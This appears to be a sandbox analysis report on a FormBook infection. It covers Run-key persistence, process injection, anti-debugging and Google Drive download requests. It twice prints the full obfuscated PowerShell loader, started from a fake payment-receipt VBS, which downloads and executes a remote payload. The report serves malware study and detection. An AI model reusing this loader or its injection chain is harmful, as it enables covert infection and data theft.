formbook | 2021b29b0f29e42b35f7796a8c7615307d555dcc4b0bbacb599f246f556e810a

Modify Registry

Processes:

mstsc.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-1658372521-4246568289-2509113762-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	mstsc.exe

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

3 1700 WScript.exe

flow	pid	process
3	1700	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

mstsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1658372521-4246568289-2509113762-1000\Software\Microsoft\Windows\CurrentVersion\Run\OBG4Z = "C:\\Program Files (x86)\\windows mail\\wab.exe"	mstsc.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 drive.google.com
7 drive.google.com
13 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

840 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2884 powershell.exe
840 wab.exe

flow	ioc
6	drive.google.com
7	drive.google.com
13	drive.google.com

pid	process
840	wab.exe

pid	process
2884	powershell.exe
840	wab.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exewab.exemstsc.exe

description	pid	process	target process
PID 2884 set thread context of 840	2884	powershell.exe	wab.exe
PID 840 set thread context of 1260	840	wab.exe	Explorer.EXE
PID 2112 set thread context of 1260	2112	mstsc.exe	Explorer.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

Processes:

mstsc.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-1658372521-4246568289-2509113762-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	mstsc.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.exewab.exemstsc.exe

pid	process
2796	powershell.exe
2884	powershell.exe
840	wab.exe
840	wab.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

powershell.exewab.exemstsc.exe

pid process

2884 powershell.exe
840 wab.exe
840 wab.exe
840 wab.exe
2112 mstsc.exe
2112 mstsc.exe
2112 mstsc.exe
2112 mstsc.exe

pid	process
2884	powershell.exe
840	wab.exe
840	wab.exe
840	wab.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe
2112	mstsc.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exewab.exemstsc.exe

description	pid	process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	840	wab.exe
Token: SeDebugPrivilege	2112	mstsc.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

WScript.exepowershell.exepowershell.exeExplorer.EXEmstsc.exe

description	pid	process	target process
PID 1700 wrote to memory of 2796	1700	WScript.exe	powershell.exe
PID 1700 wrote to memory of 2796	1700	WScript.exe	powershell.exe
PID 1700 wrote to memory of 2796	1700	WScript.exe	powershell.exe
PID 2796 wrote to memory of 2884	2796	powershell.exe	powershell.exe
PID 2796 wrote to memory of 2884	2796	powershell.exe	powershell.exe
PID 2796 wrote to memory of 2884	2796	powershell.exe	powershell.exe
PID 2796 wrote to memory of 2884	2796	powershell.exe	powershell.exe
PID 2884 wrote to memory of 840	2884	powershell.exe	wab.exe
PID 2884 wrote to memory of 840	2884	powershell.exe	wab.exe
PID 2884 wrote to memory of 840	2884	powershell.exe	wab.exe
PID 2884 wrote to memory of 840	2884	powershell.exe	wab.exe
PID 2884 wrote to memory of 840	2884	powershell.exe	wab.exe
PID 2884 wrote to memory of 840	2884	powershell.exe	wab.exe
PID 1260 wrote to memory of 2112	1260	Explorer.EXE	mstsc.exe
PID 1260 wrote to memory of 2112	1260	Explorer.EXE	mstsc.exe
PID 1260 wrote to memory of 2112	1260	Explorer.EXE	mstsc.exe
PID 1260 wrote to memory of 2112	1260	Explorer.EXE	mstsc.exe
PID 2112 wrote to memory of 1680	2112	mstsc.exe	Firefox.exe
PID 2112 wrote to memory of 1680	2112	mstsc.exe	Firefox.exe
PID 2112 wrote to memory of 1680	2112	mstsc.exe	Firefox.exe
PID 2112 wrote to memory of 1680	2112	mstsc.exe	Firefox.exe
PID 2112 wrote to memory of 1680	2112	mstsc.exe	Firefox.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
PID:1260

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\justificante de pago_pdf.vbs"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$smaabrnsfamilie;++$smaabrnsfamilie;$smaabrnsfamilie=$smaabrnsfamilie-1;Function Bedsteforldres ($sejlsportens){$estrangelo=5;$estrangelo++;For($miljbeskyttelseskonventionernes=5; $miljbeskyttelseskonventionernes -lt $sejlsportens.Length-1; $miljbeskyttelseskonventionernes+=$estrangelo){$Elevraad = 'substring';$Unconfinedness=$sejlsportens.$Elevraad.Invoke($miljbeskyttelseskonventionernes, 1);$Monark=$Monark+$Unconfinedness}$Monark;}$Klediskens=Bedsteforldres ' Pol,hY.kokt DetltCockppOne.osTotal:Flu,f/Le em/ SnkndAss nrSubagi H.usvhy ereGeo.a.Overlg Diseo Trino Ousegsanktl LegieSubg .Blo mcP,oauopl,num Ove./EgnstuSa secRadio?afvige gentxInfecpCereboKem.kr ostet.urga=.akkedSty.toForskw go.snKatiklProvioVelseaEvoludI.ple&Sygevi Trapd.nkon=Forho1ArterkCoc ez Nothw CarbDM,rsaQVesteWWpm,r6AnforIBlackj sp l7Bela.0.oppid VindwXanthcIntabkE,her-Joll nmil,b6Gunni1KultuiDe,onl,stelsBallie SalgQTjeneYFrste2 DaahQ ar,vmHindhgKerneyU ligTT.rminIltog ';$Fastgoere=$Klediskens.split([char]62);$Klediskens=$Fastgoere[0];$Uarbejdsdygtig=Bedsteforldres 'DelibiSinuseNo.chxTaleb ';$Kinetogenic = Bedsteforldres 'Khett\UndiasStam,yRustfs Phr wDrsaloAale wAchol6 Gr,p4 Erin\ franWBeta,iLo.alnNeurodcolo oHyperwClysesSonlePBea.eoarvirwTranseAmphirEcto.SGodkehSytteeS.kkelpa sel Cath\Ud,omvArbej1Tige,. Fest0Ponyi\.alampviktuoOmve.w KraeeLeverrJoistsTidobhStoice Precl Par,lmulew.BrandeCata xPe,ole Bran ';&($Uarbejdsdygtig) (Bedsteforldres 'Caneb$OutseNAnakioBlo,pnHept,pSquane SlaurS aphiSvirrlFluoroUdr.duPhytosFor.tlOpgreyMeder= De.o$ Inspe CynanB,evivT,ans:No.sewhelpaiI.esinEvangdLaveriSignarEnski ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Fritu$TmrerKUnstoiLspedn .leteU.iont ,ermoUnverg Ter eHassenDobbeiAlgebc Fran=Over $ExophN BetioPhenonU,hngpBoli,emikrorChlo icoupalSipu o,uderuAkhu,s Di.elNeff,y Rege+Serpe$ RubiKTnne,iDanskn Stepe,elekt.tregoBottogUl.raeMicrunChicaiLabricPremu ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Clean$DanskH In raNis enTrkkenFutt,yTril,s Spor Sten=Ge ph Gree(parc (B,eakgOverwwV,karm Dgn.i Yod, T.nanwgenetiVaa,enSlett3Subtr2,imme_ Pupap,yinzrHandlo.ollocOvereeUn,yssPio,es.libn Typeb-PrediFDsigr SansePplanlrSvejtoSheltc holeeTjen sSvindsscantIDiscodCamac= Un.u$Eskad{ SnesPBrdbaIT rfaDRe,er}Legeo)Misl,.Ko psCForaroOlenemMindem BonaaAtominF.razdSkopuLKi uriArbejnMccareAb,ik)F,rho Supe-Semims omanp TofolBeefii jametPie,e Sjles[,athecMeninhFingea ricr Mo i]Sejlb3L.tra4 Hexa ');&($Uarbejdsdygtig) (Bedsteforldres ' Sp,n$ ackiQFlskeuDoubla ycofg U,ros rog St.nd=m ppi Kaker$SaxtiHTeaktaFeltunTauron SatayPaakrsMarke[Overs$ orcHA.ngra DinknG.avenPrepayNdla.sfdrel. torsc porto TreduPearcnCamo.tRe.ur- Pidd2Cevic].nurp ');&($Uarbejdsdygtig) (Bedsteforldres 'Udsk $Supp,AClifftConcula bejaBrevpsAf albCen.rl,ejloa.olecdBajere Midt=Pivot(AntefTT.gneeForrasInte,tEnlig-Pro.ePFunguaBaldytFoochhBille Far a$OvercKDagskiOutlynUdm,neforstt Mar.oLovplgBedereZori.nBall.iUntanc Byg,)Anti, Falde-Avoc,AbahumnN,dzhd Hyst Afkl,( vera[PolycIKattynS,irmtB elgPPrdi t AmbirTold ]Udsp,:bur,e:Pretrs S,alish.lezLamareSapro N.dsk- ResueComplqShamp For.8 Apot)zeoli ') ;if ($Atlasblade) {.$Kinetogenic $Quags;} else {;$Disinfectants205=Bedsteforldres 'BenumS EksttForspaBasidrRettitTyran-In,jaBUng,uiUnde tMyldrsBetjeTalbinrStvveaIncurnFlumysDel afBumleeHypotrNonse omp-DirekS TromoAngiouPeradrS,rivcNo.steRevse Natur$Unco.K C,oklLrlineUnderdBer,fiGurr.sKollekm.rice ConvnudbldsCupse Str,f-LoreaDCollae,mfetsArchat,urkaiGudlsnNe,teaInhibt ommiiOndseoSkil,nH.lpe Chef$Mili NDrej oSelvanSvejfpAkko,e ReivrMiscoiD.scilNoninoHobhou SammsTricalGodseyErice ';&($Uarbejdsdygtig) (Bedsteforldres 'Mut g$SmkkeNPreenoDrapenEn,lnp Folke,traar RequiSk.belMastioOutc u uriesSla.ilModsiyNondi=Al er$Kv dieSlambnNonrevbag r:Sj,leaMeninpKrigspParked VenoaGennetStabiaOlig, ') ;&($Uarbejdsdygtig) (Bedsteforldres 'nglepIPalinm rbepBlankoGla.or In,bt Lill-PatchM AnkeostemmdBlokbuSpe tlGe,gleModta SavatBInc miansvat Un,osU,indTMobbirsrbesa Billn B,ndsNonarfNideueSpirarKends ') ;$Nonperilously=$Nonperilously+'\Kasmira.Els';while (-not $Resplendent) {&($Uarbejdsdygtig) (Bedsteforldres 'Outba$E cloRinuree .nprsLithop Misel,onceeQuarrnDemardSkrideG obin Extet Path=Signi(payabTJungieSknd,s QuivtNegre- SpinPSkurka ,odetKolonhFejlm Delbe$NanniN AntioBestynforflpNajedeMargar mudsi Und lStri oSkat,u La tsTastelsk.tty Nrin)monar ') ;&($Uarbejdsdygtig) $Disinfectants205;&($Uarbejdsdygtig) (Bedsteforldres 'Forf SGallit Ti,sapladsr ordrtTasta-MillwSProcel PatreFryseeHegnep Fedr Fornr5Lukan ');$Klediskens=$Fastgoere[$Dysfunktioner++%$Fastgoere.count];}&($Uarbejdsdygtig) (Bedsteforldres 'Snyde$BroomUSkurenGuttsw ntomi Forlt LogasPt.ra Andro=Typa BrdknGliveneB.stiter,en- PropCDi.coo MyxonFecultOrnameEthern.ignit rnas Hem.t$SovieNSnorroT plonUnprepHukome E,farGrnsviAmusilAfrinoPoussuFors.so,erflMagtsy,nise ');&($Uarbejdsdygtig) (Bedsteforldres 'Trbu $ .rthRA.ulegS,estt Ver.oLoinebTalukaEpiplkDeton Av g=Ope,a Carat[NonflS Carcy atios,dvektGenmaeLavytmHyper.BronzCTerrio.agsbnfyldjvAktive Dat r Mfint Torn]R,gma:merkh:TaktiFVagt rS.allo DisimIntegBSemivaRektisVolumeAught6Ptero4UbesiS,asertbankor BookiEgernn,egisgpulve(Vis t$Faa.aUBlsebnSkil,wMi,liiUncort.hoomsvrkfr) Tipt ');&($Uarbejdsdygtig) (Bedsteforldres 'Skynd$ AttrEAm,lekUkampsFeroca.houlmMagree T.ngnSaddlsactuao FritrKommadVii,dnpachyiSu,sdnDo,umg SchieKamphrTaft. Hv el=Ja,ke stell[ActivSHand.y mosqs SnuptMe.oreOdyssmKvl.i.BrugeTIndplePrissxGlegltMa,to.Mil iE ThulnRos lcPrereoIndr dIndiuiMun.hnLiquogPensi]Jetpo:Enr,d: Go,nALo.alSMu,tiCRackmI dgaIArbej.act.nGParlre Ili.t FretS F retPo,itrTunfiiCirrin im rg.alvt(Night$EksplROve sgkvarttMustfoNonp.bTankeaArenakrosul)Actin ');&($Uarbejdsdygtig) (Bedsteforldres 'Labyr$ PhonKk,teraRaglatInfraoPositd arlseMes.r=Cuida$SvensEAtomukI.norsCollyaEftermJubileTjavsnG belsSonjaoFosterNubredU.sconTaljeiAfsenn ossgUndefeShougrFaint. PraisIgn mu bndsbBoti,sKorset Kompr VesiiVortindi bagReach( nani3T rbi0Hydro9 dema3Vinte3attor2Ko st, Skmm2B lti6 Nair0Acces0Husvi5Shadu)Overc ');&($Uarbejdsdygtig) $Katode;}"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$smaabrnsfamilie;++$smaabrnsfamilie;$smaabrnsfamilie=$smaabrnsfamilie-1;Function Bedsteforldres ($sejlsportens){$estrangelo=5;$estrangelo++;For($miljbeskyttelseskonventionernes=5; $miljbeskyttelseskonventionernes -lt $sejlsportens.Length-1; $miljbeskyttelseskonventionernes+=$estrangelo){$Elevraad = 'substring';$Unconfinedness=$sejlsportens.$Elevraad.Invoke($miljbeskyttelseskonventionernes, 1);$Monark=$Monark+$Unconfinedness}$Monark;}$Klediskens=Bedsteforldres ' Pol,hY.kokt DetltCockppOne.osTotal:Flu,f/Le em/ SnkndAss nrSubagi H.usvhy ereGeo.a.Overlg Diseo Trino Ousegsanktl LegieSubg .Blo mcP,oauopl,num Ove./EgnstuSa secRadio?afvige gentxInfecpCereboKem.kr ostet.urga=.akkedSty.toForskw go.snKatiklProvioVelseaEvoludI.ple&Sygevi Trapd.nkon=Forho1ArterkCoc ez Nothw CarbDM,rsaQVesteWWpm,r6AnforIBlackj sp l7Bela.0.oppid VindwXanthcIntabkE,her-Joll nmil,b6Gunni1KultuiDe,onl,stelsBallie SalgQTjeneYFrste2 DaahQ ar,vmHindhgKerneyU ligTT.rminIltog ';$Fastgoere=$Klediskens.split([char]62);$Klediskens=$Fastgoere[0];$Uarbejdsdygtig=Bedsteforldres 'DelibiSinuseNo.chxTaleb ';$Kinetogenic = Bedsteforldres 'Khett\UndiasStam,yRustfs Phr wDrsaloAale wAchol6 Gr,p4 Erin\ franWBeta,iLo.alnNeurodcolo oHyperwClysesSonlePBea.eoarvirwTranseAmphirEcto.SGodkehSytteeS.kkelpa sel Cath\Ud,omvArbej1Tige,. Fest0Ponyi\.alampviktuoOmve.w KraeeLeverrJoistsTidobhStoice Precl Par,lmulew.BrandeCata xPe,ole Bran ';&($Uarbejdsdygtig) (Bedsteforldres 'Caneb$OutseNAnakioBlo,pnHept,pSquane SlaurS aphiSvirrlFluoroUdr.duPhytosFor.tlOpgreyMeder= De.o$ Inspe CynanB,evivT,ans:No.sewhelpaiI.esinEvangdLaveriSignarEnski ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Fritu$TmrerKUnstoiLspedn .leteU.iont ,ermoUnverg Ter eHassenDobbeiAlgebc Fran=Over $ExophN BetioPhenonU,hngpBoli,emikrorChlo icoupalSipu o,uderuAkhu,s Di.elNeff,y Rege+Serpe$ RubiKTnne,iDanskn Stepe,elekt.tregoBottogUl.raeMicrunChicaiLabricPremu ') ;&($Uarbejdsdygtig) (Bedsteforldres 'Clean$DanskH In raNis enTrkkenFutt,yTril,s Spor Sten=Ge ph Gree(parc (B,eakgOverwwV,karm Dgn.i Yod, T.nanwgenetiVaa,enSlett3Subtr2,imme_ Pupap,yinzrHandlo.ollocOvereeUn,yssPio,es.libn Typeb-PrediFDsigr SansePplanlrSvejtoSheltc holeeTjen sSvindsscantIDiscodCamac= Un.u$Eskad{ SnesPBrdbaIT rfaDRe,er}Legeo)Misl,.Ko psCForaroOlenemMindem BonaaAtominF.razdSkopuLKi uriArbejnMccareAb,ik)F,rho Supe-Semims omanp TofolBeefii jametPie,e Sjles[,athecMeninhFingea ricr Mo i]Sejlb3L.tra4 Hexa ');&($Uarbejdsdygtig) (Bedsteforldres ' Sp,n$ ackiQFlskeuDoubla ycofg U,ros rog St.nd=m ppi Kaker$SaxtiHTeaktaFeltunTauron SatayPaakrsMarke[Overs$ orcHA.ngra DinknG.avenPrepayNdla.sfdrel. torsc porto TreduPearcnCamo.tRe.ur- Pidd2Cevic].nurp ');&($Uarbejdsdygtig) (Bedsteforldres 'Udsk $Supp,AClifftConcula bejaBrevpsAf albCen.rl,ejloa.olecdBajere Midt=Pivot(AntefTT.gneeForrasInte,tEnlig-Pro.ePFunguaBaldytFoochhBille Far a$OvercKDagskiOutlynUdm,neforstt Mar.oLovplgBedereZori.nBall.iUntanc Byg,)Anti, Falde-Avoc,AbahumnN,dzhd Hyst Afkl,( vera[PolycIKattynS,irmtB elgPPrdi t AmbirTold ]Udsp,:bur,e:Pretrs S,alish.lezLamareSapro N.dsk- ResueComplqShamp For.8 Apot)zeoli ') ;if ($Atlasblade) {.$Kinetogenic $Quags;} else {;$Disinfectants205=Bedsteforldres 'BenumS EksttForspaBasidrRettitTyran-In,jaBUng,uiUnde tMyldrsBetjeTalbinrStvveaIncurnFlumysDel afBumleeHypotrNonse omp-DirekS TromoAngiouPeradrS,rivcNo.steRevse Natur$Unco.K C,oklLrlineUnderdBer,fiGurr.sKollekm.rice ConvnudbldsCupse Str,f-LoreaDCollae,mfetsArchat,urkaiGudlsnNe,teaInhibt ommiiOndseoSkil,nH.lpe Chef$Mili NDrej oSelvanSvejfpAkko,e ReivrMiscoiD.scilNoninoHobhou SammsTricalGodseyErice ';&($Uarbejdsdygtig) (Bedsteforldres 'Mut g$SmkkeNPreenoDrapenEn,lnp Folke,traar RequiSk.belMastioOutc u uriesSla.ilModsiyNondi=Al er$Kv dieSlambnNonrevbag r:Sj,leaMeninpKrigspParked VenoaGennetStabiaOlig, ') ;&($Uarbejdsdygtig) (Bedsteforldres 'nglepIPalinm rbepBlankoGla.or In,bt Lill-PatchM AnkeostemmdBlokbuSpe tlGe,gleModta SavatBInc miansvat Un,osU,indTMobbirsrbesa Billn B,ndsNonarfNideueSpirarKends ') ;$Nonperilously=$Nonperilously+'\Kasmira.Els';while (-not $Resplendent) {&($Uarbejdsdygtig) (Bedsteforldres 'Outba$E cloRinuree .nprsLithop Misel,onceeQuarrnDemardSkrideG obin Extet Path=Signi(payabTJungieSknd,s QuivtNegre- SpinPSkurka ,odetKolonhFejlm Delbe$NanniN AntioBestynforflpNajedeMargar mudsi Und lStri oSkat,u La tsTastelsk.tty Nrin)monar ') ;&($Uarbejdsdygtig) $Disinfectants205;&($Uarbejdsdygtig) (Bedsteforldres 'Forf SGallit Ti,sapladsr ordrtTasta-MillwSProcel PatreFryseeHegnep Fedr Fornr5Lukan ');$Klediskens=$Fastgoere[$Dysfunktioner++%$Fastgoere.count];}&($Uarbejdsdygtig) (Bedsteforldres 'Snyde$BroomUSkurenGuttsw ntomi Forlt LogasPt.ra Andro=Typa BrdknGliveneB.stiter,en- PropCDi.coo MyxonFecultOrnameEthern.ignit rnas Hem.t$SovieNSnorroT plonUnprepHukome E,farGrnsviAmusilAfrinoPoussuFors.so,erflMagtsy,nise ');&($Uarbejdsdygtig) (Bedsteforldres 'Trbu $ .rthRA.ulegS,estt Ver.oLoinebTalukaEpiplkDeton Av g=Ope,a Carat[NonflS Carcy atios,dvektGenmaeLavytmHyper.BronzCTerrio.agsbnfyldjvAktive Dat r Mfint Torn]R,gma:merkh:TaktiFVagt rS.allo DisimIntegBSemivaRektisVolumeAught6Ptero4UbesiS,asertbankor BookiEgernn,egisgpulve(Vis t$Faa.aUBlsebnSkil,wMi,liiUncort.hoomsvrkfr) Tipt ');&($Uarbejdsdygtig) (Bedsteforldres 'Skynd$ AttrEAm,lekUkampsFeroca.houlmMagree T.ngnSaddlsactuao FritrKommadVii,dnpachyiSu,sdnDo,umg SchieKamphrTaft. Hv el=Ja,ke stell[ActivSHand.y mosqs SnuptMe.oreOdyssmKvl.i.BrugeTIndplePrissxGlegltMa,to.Mil iE ThulnRos lcPrereoIndr dIndiuiMun.hnLiquogPensi]Jetpo:Enr,d: Go,nALo.alSMu,tiCRackmI dgaIArbej.act.nGParlre Ili.t FretS F retPo,itrTunfiiCirrin im rg.alvt(Night$EksplROve sgkvarttMustfoNonp.bTankeaArenakrosul)Actin ');&($Uarbejdsdygtig) (Bedsteforldres 'Labyr$ PhonKk,teraRaglatInfraoPositd arlseMes.r=Cuida$SvensEAtomukI.norsCollyaEftermJubileTjavsnG belsSonjaoFosterNubredU.sconTaljeiAfsenn ossgUndefeShougrFaint. PraisIgn mu bndsbBoti,sKorset Kompr VesiiVortindi bagReach( nani3T rbi0Hydro9 dema3Vinte3attor2Ko st, Skmm2B lti6 Nair0Acces0Husvi5Shadu)Overc ');&($Uarbejdsdygtig) $Katode;}"
4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
5⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:840

C:\Windows\SysWOW64\mstsc.exe
"C:\Windows\SysWOW64\mstsc.exe"
2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:1680

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3